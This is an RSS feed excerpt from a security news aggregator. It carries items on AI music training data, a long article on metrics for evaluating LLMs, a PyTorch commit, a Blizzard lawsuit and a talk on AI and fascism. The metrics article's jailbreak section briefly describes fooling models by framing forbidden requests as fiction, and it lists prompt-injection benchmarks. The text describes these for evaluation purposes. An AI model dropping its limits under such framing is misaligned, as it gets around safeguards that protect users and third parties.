API Bug Bounty Recon &amp; Exploitation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigation by The Atlantic reveals many millions of songs used for AI music training]]></title>
<description><![CDATA[Taylor Swift, Bad Bunny and many, many more artists have had their work fed into AI models.]]></description>
<link>https://tsecurity.de/de/3600162/it-nachrichten/investigation-by-the-atlantic-reveals-many-millions-of-songs-used-for-ai-music-training/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600162/it-nachrichten/investigation-by-the-atlantic-reveals-many-millions-of-songs-used-for-ai-music-training/</guid>
<pubDate>Mon, 15 Jun 2026 22:33:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Taylor Swift, Bad Bunny and many, many more artists have had their work fed into AI models.]]></content:encoded>
</item>
<item>
<title><![CDATA[33 LLM metrics to watch closely]]></title>
<description><![CDATA[We’ve all heard the mantra from the quants in the business community: you can’t manage what you can’t measure. And if that’s true for human intelligence, it should be true for the artificial kind too.



How do we measure agents and large language models (LLMs)? We’re just beginning to come up wi...]]></description>
<link>https://tsecurity.de/de/3598559/ai-nachrichten/33-llm-metrics-to-watch-closely/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3598559/ai-nachrichten/33-llm-metrics-to-watch-closely/</guid>
<pubDate>Mon, 15 Jun 2026 11:03:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>We’ve all heard the mantra from the quants in the business community: you can’t manage what you can’t measure. And if that’s true for human intelligence, it should be true for the <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html" data-type="link" data-id="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">artificial kind</a> too.</p>



<p>How do we measure <a href="https://www.infoworld.com/article/3812583/what-you-need-to-know-about-developing-ai-agents.html" data-type="link" data-id="https://www.infoworld.com/article/3812583/what-you-need-to-know-about-developing-ai-agents.html">agents</a> and <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a> (LLMs)? We’re just beginning to come up with statistical metrics. Here are several of the most common metrics that designers and users toss about when they’re evaluating a model.</p>



<h6 class="wp-block-heading">[ See also: <a href="https://www.infoworld.com/article/4152738/27-questions-to-ask-before-choosing-an-llm.html" data-type="link" data-id="https://www.infoworld.com/article/4152738/27-questions-to-ask-before-choosing-an-llm.html">27 questions to ask before choosing an LLM</a> ]</h6>



<h2 class="wp-block-heading">Time to first token</h2>



<p>How long does it take to generate the first token? For real-time applications with time constraints, faster responses can be essential. It’s well-known that people hate waiting even a few milliseconds. The teams that develop user interfaces learned decades ago that it’s important for the software to respond quickly when a human is waiting for an answer. Even a few seconds of delay mean that the human will wander off to another window to check some email or place some bet on a prediction market. Time to first token is a good measure for models that will be working directly with the fickle human intelligences and their latent attention deficit disorder.</p>



<h2 class="wp-block-heading">Time per output token</h2>



<p>Take the total time it takes to respond and divide by the total number of tokens. The time to first token measures how long it takes to start a response and this measures the average speed as the model through all of the tokens. In basic LLMs, this value is generally fairly constant. Once the prefill is done and the LLM enters the decode phase, the output tokens usually appear at a constant stream. When the output is long enough, the startup time to first token is amortized away. In some of the more complicated architectures with loops for planning or gathering data from various tools, the average speed can vary as the model shifts in and out of making agentic decisions.</p>



<h2 class="wp-block-heading">Tokens per second</h2>



<p>This is just the reciprocal of the average time per token. Sometimes it is reported separately for different stages in the pipeline.</p>



<h2 class="wp-block-heading">Throughput (requests per minute)</h2>



<p>If a system supports more than a single user, tracking the number of different requests makes sense. These throughput numbers can be quite useful for measuring the power of some of the newer pipelines that are more efficient when they’re answering multiple prompts at the same time.</p>



<h2 class="wp-block-heading">Error rate</h2>



<p>Not every request gets an answer. The error rate tracks how often rate limits, timeouts, or model “refusals” get in the way. Better accounting tracks each independently because the number of failures in each category can be very different.</p>



<h2 class="wp-block-heading">Token efficiency</h2>



<p>Not all work tokens are visible and not all tokens are part of the final outcome. This measures how much work is done to produce the final result. As models become more complex or agentic and the pipelines become more sophisticated, the efficiency tends to drop. Agentic reasoning and strategic planning typically require more tokens that don’t appear in the final answer. This is generally a measure of how expensive a model might be to run.</p>



<h2 class="wp-block-heading">Tail latency</h2>



<p>It’s all well and good to measure the average time to answer, but in some cases a few very slow responses can really color people’s judgement. Some applications require good performance all of the time. Would you want to ride in an autonomous car that gets steering instructions very quickly “on average” instead of always? What if that’s only 99% of the time? Tail latency uses a mixture of queuing theory and detailed measurements to track the worst moments in the long tail of the latency graph. It’s useful when even occasional delays are problematic. </p>



<h2 class="wp-block-heading">Total cost of ownership</h2>



<p>Projects that use an API or buy output from providers just look at the cost per 1M tokens. They’re effectively renters. The groups that are buying GPUs and paying for electricity, though, will add up these costs and other indirect costs like depreciation and maintenance to come up with a number that estimates how much the tokens really cost to produce. This value will depend upon demand and utilization rates—that is, on how many users are sending in prompts and how efficiently the model fits in a particular GPU and its RAM.</p>



<h2 class="wp-block-heading">Parameters</h2>



<p>Many models have numbers in their name followed by a B. This is meant to roughly capture the number of parameters, or the number of variables the model uses to generate outputs from inputs. The number “70B” means that there are about 70 billion parameters in the model. This is a good estimate for the complexity of the model and the size of the training set that has been stuffed into it. Generally bigger numbers mean a larger amount of information is hiding inside the model. It often means that it will take a bigger GPU with more RAM to generate an answer with it. It’s not a very precise number, though, because there are many other areas of the architecture that can influence whether the model can generate the answer you want inside your budget. There continue to be advances and it’s not uncommon for someone to claim that a new model with X parameters is better than an old model with 2X or 3X parameters.</p>



<h2 class="wp-block-heading">Hallucination rate</h2>



<p>While everyone wants LLMs to generate accurate output, measuring it can be difficult because deciding what’s accurate is sometimes complicated. One approach is to ask the LLM to summarize a document. Then another model evaluates how well the summary matches the original. While this may not catch all subtle slips, it will capture enough of the worst departures from reality. Some researchers have built complex test sets with curated answers. The LLMs that deliver the expected answers get the highest scores. Some common benchmarks are <a href="https://github.com/sylinrl/TruthfulQA">TruthfulQA</a>, <a href="https://arxiv.org/abs/2305.11747">HaluEval</a>, <a href="https://github.com/salesforce/QAFactEval">QAFactEval</a>, and Vectara’s <a href="https://github.com/vectara/hallucination-leaderboard">Hallucination Evaluation Model</a> (HHEM).</p>



<h2 class="wp-block-heading">Toxicity and bias scores</h2>



<p>If measuring accuracy is difficult, building a metric to detect toxic or biased output is even more challenging because the definitions can be so protean. Still, some teams have built LLMs that key on particular concepts or word choices. They can detect some of the most obvious red flags that could generate political trouble. Some well-known versions include <a href="https://www.granica.ai/blog/granica-launches-ai-data-safety-solution-granica-screen-on-aws-marketplace">Granica Screen</a> and <a href="https://perspectiveapi.com/">Perspective API</a>.</p>



<h2 class="wp-block-heading">PII leakage</h2>



<p>One of the biggest fears is that LLMs will somehow absorb information that may be considered personal and private. Some of the simplest measures can be as simple as regular expressions that look for the sixteen digit numbers used for credit card transactions. Many of the model builders work on eliminating personally identifiable information (PII) from the training set before beginning.</p>



<h2 class="wp-block-heading">Tool-calling accuracy</h2>



<p>As models grow more complex and agentic, they often gain access to various tools or <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) gateways that can help them find the best answers. Not all models take advantage of this help. The tool-calling accuracy scores count how often the models choose the best tool for the job. One particular example of this measurement is <a href="https://gorilla.cs.berkeley.edu/leaderboard.html">BFCL</a> (Berkeley Function Calling Leaderboard).</p>



<h2 class="wp-block-heading">Prompt sensitivity</h2>



<p>The value captures how small changes in the language of the prompt induces the model to produce different results. It’s like a derivative from calculus class, although it’s generally computed experimentally using some collection of test prompts. There are a number of different approaches that depend upon different types of changes. Some test sets are built with small rephrasing of the request that are semantically the same. Others mix together different ways of specifying the problem, some with examples, say, and some without. Some specific examples include <a href="https://arxiv.org/html/2509.13680">PromptSE</a> and <a href="https://arxiv.org/abs/2410.12405">ProSA</a>.</p>



<h2 class="wp-block-heading">Semantic similarity and conciseness</h2>



<p>Some metrics evaluate the answers by comparing them to a set of gold standard answers. This often involves feeding them to a <a href="https://www.infoworld.com/article/2335281/vector-databases-in-llms-and-search.html" data-type="link" data-id="https://www.infoworld.com/article/2335281/vector-databases-in-llms-and-search.html">vector embedding</a> model and searching a <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html" data-type="link" data-id="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval-augmented generation</a> (RAG) database for similar answers. This can track how concise or fluffy the answers might be as well as looking for how much variability might be introduced through changing parameters like the temperature. One common example is the <a href="https://bertscore.com/">BERTScore</a>.</p>



<h2 class="wp-block-heading">Grounding score</h2>



<p>Many systems that combine an LLM with a vector search tool for RAG measure the effectiveness of the combination with a benchmark like the grounding score. The LLM is presented with extra data from the vector search and the benchmark measures how closely it follows this extra information. That is, how much of the answer comes from the provided source documents and how much is synthesized using the data in its training set. Some examples include <a href="https://aclanthology.org/2024.eacl-demo.16/">RAGAS</a>, <a href="https://www.trulens.org/">TruLens</a>, <a href="https://ares-ai.vercel.app/">ARES</a> (Automated RAG Evaluation System), <a href="https://github.com/chen700564/RGB">RGB</a> (Retrieval-Augmented Generation Benchmark), <a href="https://arxiv.org/abs/2305.11747">HaluEval</a>, and <a href="https://halluhard.com/">HalluHard</a>. A similar concept is called “context adherence,” “context precision,” “context recall,” or “faithfulness.”</p>



<h2 class="wp-block-heading">Model variability</h2>



<p>Most LLMs fold in a certain amount of random entropy, and this amount is often controlled by a parameter called the “temperature.” The model variability is a measure of how much the answers will change between runs. Some applications like chatbots require a certain amount of variability because the randomness adds a bit of “life” to the answers. Other applications like those in mission-critical areas like law or medicine will undermine confidence if the answers vary.</p>



<h2 class="wp-block-heading">Format compliance rate</h2>



<p>In some roles, LLMs are asked to produce data in strict formats like JSON or CSV. This is often important if the data will be fed into some pipeline for further processing or storage. The format compliance rate tests a number of common formats and measures how often the LLM returns semantically correct data. Agentic systems that glue together multiple LLMs and other tools rely heavily on LLMs with good scores on this benchmark.</p>



<h2 class="wp-block-heading">Instruction following</h2>



<p>Some prompts include very specific instructions and the adherence can be measured empirically. For example, some prompts will ask the LLM to produce exactly 300 words or a poem in rhyming couplets. These tests use a collection of sample prompts that ask for answers that can be easily measured. Some specific examples include <a href="https://arxiv.org/abs/2311.07911">IFEval</a>, <a href="https://github.com/YJiangcm/FollowBench">FollowBench</a>, and the <a href="https://gorilla.cs.berkeley.edu/leaderboard.html">BFCL</a> (Berkeley Function Calling Leaderboard), a value that is mentioned above in the section on tool usage.   </p>



<h2 class="wp-block-heading">Subgoal success rate</h2>



<p>As agentic models become more common, it’s helpful to track how well the model performs on each of the various parts of the agent’s strategic plan. All of the metrics here can be broken down and tracked for each of the subgoals.</p>



<h2 class="wp-block-heading">Plan stability</h2>



<p>Agentic models start with a plan. Some of them are smart enough to abandon the plan or at least adjust it as the work evolves. Plan stability measures how often the plans are adjusted. A high rate of adjustment could mean that the agent is a bad planner or just flexible or maybe both.</p>



<h2 class="wp-block-heading">Self-correction score</h2>



<p>Some agents are able to dive deeper and recognize their mistakes. The self-correction score measures how often the model will make a mistake and then recognize it, either on its own or after being prompted with the question, “Are you really sure?”</p>



<h2 class="wp-block-heading">Jailbreak resistance</h2>



<p>Some users try to find clever ways to lure the LLM into tossing aside any restrictions on topics or answers. In the past, some LLMs could be fooled by being told the answer was part of a play or a work of fiction. So discussing forbidden subjects wasn’t a problem because it was all pretend. Newer models have more elaborate defenses. Measures of the ability to resist deception include <a href="https://jailbreakbench.github.io/">JailbreakBench</a>, <a href="https://arxiv.org/abs/2410.09024">AgentHarm</a>, and <a href="https://arxiv.org/pdf/2512.05485">Tele-AI-Safety</a>. </p>



<h2 class="wp-block-heading">Prompt injection vulnerability</h2>



<p>Sometimes untrusted data from extra sources or skills may include malicious instructions that can exploit the LLM. Benchmarks such as <a href="https://arxiv.org/abs/2602.20156">Skill-Inject</a> and <a href="https://spikee.ai/">SPIKEE</a> (Simple Prompt Injection Kit for Evaluation and Exploitation) work with known attack vectors and measure how susceptible a model is to targeted prompt injection attacks. </p>



<h2 class="wp-block-heading">Copyright infringement score </h2>



<p>Some LLMs can regurgitate the data in their training corpus in a way that seems like plagiarism or copyright infringement. This can be an issue when the training material wasn’t carefully licensed. The copyright infringement score measures how often the LLM may parrot the training material a bit too closely. Tools for defending against this include <a href="https://www.patronus.ai/blog/introducing-copyright-catcher">CopyrightCatcher</a> and <a href="https://arxiv.org/abs/2402.09910">DE-COP</a>. </p>



<h2 class="wp-block-heading">RULER</h2>



<p>How well can a model extract information from the entire context? <a href="https://github.com/gkamradt/needle-in-a-haystack" data-type="link" data-id="https://github.com/gkamradt/needle-in-a-haystack">NIAH</a> (needle-in-a haystack) <a href="https://arxiv.org/pdf/2504.04713" data-type="link" data-id="https://arxiv.org/pdf/2504.04713">benchmarks</a> measure how well a model can retrieve small, crucial bits of information from long contexts. <a href="https://github.com/NVIDIA/RULER">RULER</a> takes NIAH tests further with the ability to vary the types and quantities of needles, the size of the haystack, and the complexity of the task. </p>



<h2 class="wp-block-heading">GSM8K </h2>



<p>The developers of <a href="https://arxiv.org/abs/2110.14168" data-type="link" data-id="https://arxiv.org/abs/2110.14168">GSM8K</a> (Grade School Math 8K) set out to benchmark an LLM’s ability to tackle multistep mathematical problems, so they gathered <a href="https://huggingface.co/datasets/openai/gsm8k">8,500 problems</a> that are common in grade school math classes. While the focus is explicitly on solving math homework problems, the benchmark also measures the ability to construct reasoning chains.</p>



<h2 class="wp-block-heading">GPQA</h2>



<p>The <a href="https://arxiv.org/pdf/2311.12022">Graduate-Level Google-Proof Q&amp;A</a> is composed of hundreds of hard questions that might normally be answered by humans in graduate school, generally in science. To make the benchmark harder, the researchers focused on questions that non-experts often get wrong. The term “Google-proof” means that the benchmark includes questions that can’t be easily answered by asking a search engine.</p>



<h2 class="wp-block-heading">MMLU-Pro</h2>



<p>The <a href="https://github.com/TIGER-AI-Lab/MMLU-Pro" data-type="link" data-id="https://github.com/TIGER-AI-Lab/MMLU-Pro">MMLU-Pro</a> benchmark builds on the Massive Multitask Language Understanding dataset to test a model’s understanding of a broad set of scientific knowledge. It includes more than 12,000 questions about general scientific fields like biology, chemistry, economics, and law. </p>



<h2 class="wp-block-heading">MBPP</h2>



<p>Google created <a href="https://github.com/google-research/google-research/tree/master/mbpp">MBPP</a> (Mostly Basic Python Problems) to evaluate how well a model was solving coding questions. Each problem comes with a statement, a gold standard solution, and several similar test cases. The number of accurate answers to these questions is a good measure of how well the model will solve many of the simpler Python coding problems presented by users.</p>



<h2 class="wp-block-heading">SWE-bench</h2>



<p>This <a href="https://github.com/SWE-bench/SWE-bench">collection</a> of several thousand software engineering challenges evaluates how well a model solves programming problems. The developers created it by selecting a number of issues and corresponding pull-requests from a dozen or so Python projects. After some limitations appeared, the creators expanded the set by creating <a href="https://arxiv.org/abs/2410.06992" data-type="link" data-id="https://arxiv.org/abs/2410.06992">SWE-Bench+</a>, <a href="https://openai.com/index/introducing-swe-bench-verified/">SWE Bench Verified</a>, and <a href="https://arxiv.org/abs/2509.16941" data-type="link" data-id="https://arxiv.org/abs/2509.16941">SWE-Bench Pro</a>.</p>



<h2 class="wp-block-heading">LMSYS Chatbot Arena</h2>



<p>Instead of creating a fixed set of test prompts, the Large Model Systems Organization’s <a href="https://www.lmsys.org/" data-type="link" data-id="https://www.lmsys.org/">Chatbot Arena</a> is a dynamic system that feeds the same prompt to different models and then asks humans to pick the best results. These head-to-head contests produce an <a href="https://en.wikipedia.org/wiki/Elo_rating_system">Elo</a>-like rating that is similar to the one used to score chess players.</p>



<h2 class="wp-block-heading">Price</h2>



<p>The rest of these metrics are useful, but as the real estate agents say, the three most important numbers on a property listing are price, price, and price. The cost is a bit less important for measuring AIs, but only a bit. Price can make a huge difference between a project being profitable and a moneysink. When the cost for each inference is a tad too high, it’s impossible to make it up with volume.</p>



<p>The key caveat is that a cheaper model isn’t a good idea if it generates answers that are filled with hallucinations or worse. The quality of the answers can differ greatly, and saving a few pennies can be a mistake. To make matters more complicated, there’s an explosion in different styles and approaches. Sometimes it makes sense to pay a bit more for a model that delivers answers with the right vibe.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/aa3ccd27e55dcc37557b3457fd6bf20cd6aa5a28: Use C++20 default member initializers for bit-fields (#183992)]]></title>
<description><![CDATA[Pull Request resolved: #183992
Approved by: https://github.com/Skylion007]]></description>
<link>https://tsecurity.de/de/3597826/downloads/trunkaa3ccd27e55dcc37557b3457fd6bf20cd6aa5a28-use-c-20-default-member-initializers-for-bit-fields-183992/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597826/downloads/trunkaa3ccd27e55dcc37557b3457fd6bf20cd6aa5a28-use-c-20-default-member-initializers-for-bit-fields-183992/</guid>
<pubDate>Mon, 15 Jun 2026 03:01:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458271458" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/183992" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/183992/hovercard" href="https://github.com/pytorch/pytorch/pull/183992">#183992</a><br>
Approved by: <a href="https://github.com/Skylion007">https://github.com/Skylion007</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Blizzard Sues To Take Down Another Private World of Warcraft Server, Project Ascension]]></title>
<description><![CDATA["Blizzard Entertainment is continuing its crusade against private World of Warcraft servers," reports the gaming news site Aftermath:

 The company filed a new lawsuit on Friday in a California court against the makers of Project Ascension, alleging copyright infringement, Digital Millennium Copy...]]></description>
<link>https://tsecurity.de/de/3597233/it-security-nachrichten/blizzard-sues-to-take-down-another-private-world-of-warcraft-server-project-ascension/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597233/it-security-nachrichten/blizzard-sues-to-take-down-another-private-world-of-warcraft-server-project-ascension/</guid>
<pubDate>Sun, 14 Jun 2026 16:51:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Blizzard Entertainment is continuing its crusade against private World of Warcraft servers," reports the gaming news site Aftermath:

 The company filed a new lawsuit on Friday in a California court against the makers of Project Ascension, alleging copyright infringement, Digital Millennium Copyright Act violations, and other claims. Blizzard Entertainment claims that Project Ascension is a "lucrative way to exploit and profit from the popularity of the WoW game experience," according to the complaint, obtained by Aftermath. Blizzard Entertainment's lawyers say in the complaint that Project Ascension purports to have "over a million players." Lawyers write that the developers have "distributed (and are continuing to distribute) millions of pirated copies of Blizzard's copyrighted WoW game software." 

They also allege that Project Ascension's servers are hosted on Russian "bulletproof" servers with Aeza Group, a company that was sanctioned in 2025 "for its role in supporting cybercriminal activity targeting victims in the United States and around the world," per a U.S. Department of Treasury press release... Project Ascension lets players combine pieces of World of Warcraft's different classes to build unique characters. It's free-to-play, but players can purchase in-game currency, Donation Points, to buy things in-game, such as cosmetics and experience boosts. Blizzard Entertainment's lawyers assert that Project Ascension has made "millions of dollars from the sale of Donation Points...." 

Blizzard Entertainment successfully sued a popular World of Warcraft server called Turtle Wow last year. The project had been running since 2018, taking donations from players for the free-to-play server. Both sides announced in April 2026 that they'd reached a settlement after Blizzard Entertainment was awarded a permanent injunction to shut down Turtle WoW. The details of the settlement were not made public. Turtle WoW was shut down for good shortly after May 15; players gathered online to mourn the end of the server.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Blizzard+Sues+To+Take+Down+Another+Private+World+of+Warcraft+Server%2C+Project+Ascension+%3A+https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F06%2F14%2F0743231%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F06%2F14%2F0743231%2Fblizzard-sues-to-take-down-another-private-world-of-warcraft-server-project-ascension%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://games.slashdot.org/story/26/06/14/0743231/blizzard-sues-to-take-down-another-private-world-of-warcraft-server-project-ascension?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TDF 2026 - All Sorted by Machines of Loving Grace? „AI“, Cybernetics, and Fascism and how to Interve]]></title>
<description><![CDATA[Author: media.ccc.de - Bewertung: 1x - Views:26 https://media.ccc.de/v/tdf5-185-all-sorted-by-machines-of-loving-grace-ai-cybernetics-and-fascism-and-how-to-intervene

While the extreme right is on the rise in many countries and climate change is unrolling, a promising future seems to be written:...]]></description>
<link>https://tsecurity.de/de/3597135/it-security-video/tdf-2026-all-sorted-by-machines-of-loving-grace-ai-cybernetics-and-fascism-and-how-to-interve/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597135/it-security-video/tdf-2026-all-sorted-by-machines-of-loving-grace-ai-cybernetics-and-fascism-and-how-to-interve/</guid>
<pubDate>Sun, 14 Jun 2026 15:33:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: media.ccc.de - Bewertung: 1x - Views:26 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/90VeWekqHLQ?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>https://media.ccc.de/v/tdf5-185-all-sorted-by-machines-of-loving-grace-ai-cybernetics-and-fascism-and-how-to-intervene<br />
<br />
While the extreme right is on the rise in many countries and climate change is unrolling, a promising future seems to be written: According to Elon Musk, Sam Altman, and some other “tech bros” it is to leave the dying planet to go to space. With the help of something called “A(G)I”.<br />
But what kind of future is the one that is promised? And what is the connection between power cycles of tech company owners and people who's believes can be called fascist? As we moved power through data in the hands of very view, it is important to examine what ideas these view have in their heads.<br />
This talk will explore the roots of today's tech fascism and its love for tech. From the early thoughts and movements in the US and Europe to Futurism and the Holocaust, organised with Hollerith punching cards. It will dive into the its blooming relationship with cybernetics, and take a look in the future the “tech bros” want to lure us in.<br />
This talk will address the often overlooked topic of how and when people get comfy with diving into movements of hate and how to stop a white supremicy future where we will be sorted by machines.<br />
And, in taking a look on past movements opposing authoritarianism and will examine mindsets and possibilities of resistance as well as the possibility of restarting everything. Because we have a planet and loved ones to lose.<br />
Wear your safety cat-ears, buckle up, it will be a wild, but entertaining ride.<br />
<br />
The idea of the Super-Human is not a new one, neither is the idea of charismatic „good“ leader nor to sort humans into classes, races, abilities. The idea of a view controlling many by force and ideas that justify their rulership and cruelties is an old one, as is the opposing idea of a free society and humans as equals.<br />
A central aspect is how people involved see the human nature and according to that what society they want to build. And what role is intended for technology.<br />
In the 19th century the beliefs of both the opposing sides dripped into science, as well as individual’s heads, and social movements around the world. While some wanted to form a wold society of equals others wanted to breed a master race that to control everything.<br />
<br />
The love of industrial leaders for authoritarianism has played an important role since the beginning in funding and providing access to powerful networks. Industrialists like Henry Ford loved and promoted ideas at least close to fascism. German, Italian, and Austrian counterparts funded Hitler and Mussolini. And it is not that they did it because they did not understand the fascist leader’s yearning – it was because they shared and loved their aims and violence. <br />
<br />
In Futurism, one of the often overlooked roots of fascism, and its Manifesto the enemies and societal goals are proclaimed crystal clear: “We will glorify war — the only true hygiene of the world — militarism, patriotism, the destructive gesture of anarchist, the beautiful Ideas which kill, and the scorn of woman.“<br />
<br />
After WWII most of the people believing in dominating others by force and eugenics lived on, they and their cronies had slaughtered millions and destroyed whole social movements were opposing them. These people warning us about authoritarian prophets of doom and concentration camps are still missing.<br />
<br />
In the post-war time ideas of authoritarianism met a new player: Cybernetics, the believe in a future, where all problems will be solved through technology and we are “All Watched Over by Machines of Loving Grace” (Richard Brautigam, 1967). The ideas split, merged, and melted into new beliefs and quasi-religions. Into something that is called “Cyber-Libertarianism” by David Golumbia or “TESCREAL” by Émile P. Torres and Timnit Gebru. <br />
<br />
This talk will address an aspect that is often missing in analyses: What kind of breeding ground is it where ideas of fascism hatches best? And how can we stop iFascism instead of participating in it?<br />
<br />
Furthermore, as being sorted by machines is not everyone's secret dream, ways to stop iFascism will be provided.<br />
<br />
Because we are more, we care for people in need – and we are the chaos!<br />
<br />
Katika Kühnreich<br />
<br />
https://cfp.cttue.de/tdf5/talk/ZCCAY9/<br />
<br />
#tdf2026 #EthicsPoliticsandSociety<br />
<br />
Licensed to the public under https://creativecommons.org/licenses/by/4.0/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[All Sorted by Machines of Loving Grace? „AI“, Cybernetics, and Fascism and how to Intervene (tdf2026)]]></title>
<description><![CDATA[While the extreme right is on the rise in many countries and climate change is unrolling, a promising future seems to be written: According to Elon Musk, Sam Altman, and some other “tech bros” it is to leave the dying planet to go to space. With the help of something called “A(G)I”.
But what kind...]]></description>
<link>https://tsecurity.de/de/3597100/it-security-video/all-sorted-by-machines-of-loving-grace-ai-cybernetics-and-fascism-and-how-to-intervene-tdf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597100/it-security-video/all-sorted-by-machines-of-loving-grace-ai-cybernetics-and-fascism-and-how-to-intervene-tdf2026/</guid>
<pubDate>Sun, 14 Jun 2026 15:18:20 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While the extreme right is on the rise in many countries and climate change is unrolling, a promising future seems to be written: According to Elon Musk, Sam Altman, and some other “tech bros” it is to leave the dying planet to go to space. With the help of something called “A(G)I”.
But what kind of future is the one that is promised? And what is the connection between power cycles of tech company owners and people who's believes can be called fascist? As we moved power through data in the hands of very view, it is important to examine what ideas these view have in their heads.
This talk will explore the roots of today's tech fascism and its love for tech. From the early thoughts and movements in the US and Europe to Futurism and the Holocaust, organised with Hollerith punching cards. It will dive into the its blooming relationship with cybernetics, and take a look in the future the “tech bros” want to lure us in.
This talk will address the often overlooked topic of how and when people get comfy with diving into movements of hate and how to stop a white supremicy future where we will be sorted by machines.
And, in taking a look on past movements opposing authoritarianism and will examine mindsets and possibilities of resistance as well as the possibility of restarting everything. Because we have a planet and loved ones to lose.
Wear your safety cat-ears, buckle up, it will be a wild, but entertaining ride.

The idea of the Super-Human is not a new one, neither is the idea of charismatic „good“ leader nor to sort humans into classes, races, abilities. The idea of a view controlling many by force and ideas that justify their rulership and cruelties is an old one, as is the opposing idea of a free society and humans as equals.
A central aspect is how people involved see the human nature and according to that what society they want to build. And what role is intended for technology.
In the 19th century the beliefs of both the opposing sides dripped into science, as well as individual’s heads, and social movements around the world. While some wanted to form a wold society of equals others wanted to breed a master race that to control everything.

The love of industrial leaders for authoritarianism has played an important role since the beginning in funding and providing access to powerful networks. Industrialists like Henry Ford loved and promoted ideas at least close to fascism. German, Italian, and Austrian counterparts funded Hitler and Mussolini. And it is not that they did it because they did not understand the fascist leader’s yearning – it was because they shared and loved their aims and violence. 

In Futurism, one of the often overlooked roots of fascism, and its Manifesto the enemies and societal goals are proclaimed crystal clear: “We will glorify war — the only true hygiene of the world — militarism, patriotism, the destructive gesture of anarchist, the beautiful Ideas which kill, and the scorn of woman.“

After WWII most of the people believing in dominating others by force and eugenics lived on, they and their cronies had slaughtered millions and destroyed whole social movements were opposing them. These people warning us about authoritarian prophets of doom and concentration camps are still missing.

In the post-war time ideas of authoritarianism met a new player: Cybernetics, the believe in a future, where all problems will be solved through technology and we are “All Watched Over by Machines of Loving Grace” (Richard Brautigam, 1967). The ideas split, merged, and melted into new beliefs and quasi-religions. Into something that is called “Cyber-Libertarianism” by David Golumbia or “TESCREAL” by Émile P. Torres and Timnit Gebru. 

This talk will address an aspect that is often missing in analyses: What kind of breeding ground is it where ideas of fascism hatches best? And how can we stop iFascism instead of participating in it?

Furthermore, as being sorted by machines is not everyone's secret dream, ways to stop iFascism will be provided.

Because we are more, we care for people in need – and we are the chaos!

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://cfp.cttue.de/tdf5/talk/ZCCAY9/]]></content:encoded>
</item>
<item>
<title><![CDATA[from fedora back to Ubuntu]]></title>
<description><![CDATA[I was very excited to get my 'new' T14s Ryzen 5 16gb laptop. So keen to get Fedora installed and it felt so mega swift. Looked clean, tidy, snappy. However, after the main updates, the issues occurred. VLC media player refused to play the headphones continuously, only in an initial burst then gon...]]></description>
<link>https://tsecurity.de/de/3596592/linux-tipps/from-fedora-back-to-ubuntu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3596592/linux-tipps/from-fedora-back-to-ubuntu/</guid>
<pubDate>Sun, 14 Jun 2026 08:08:17 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
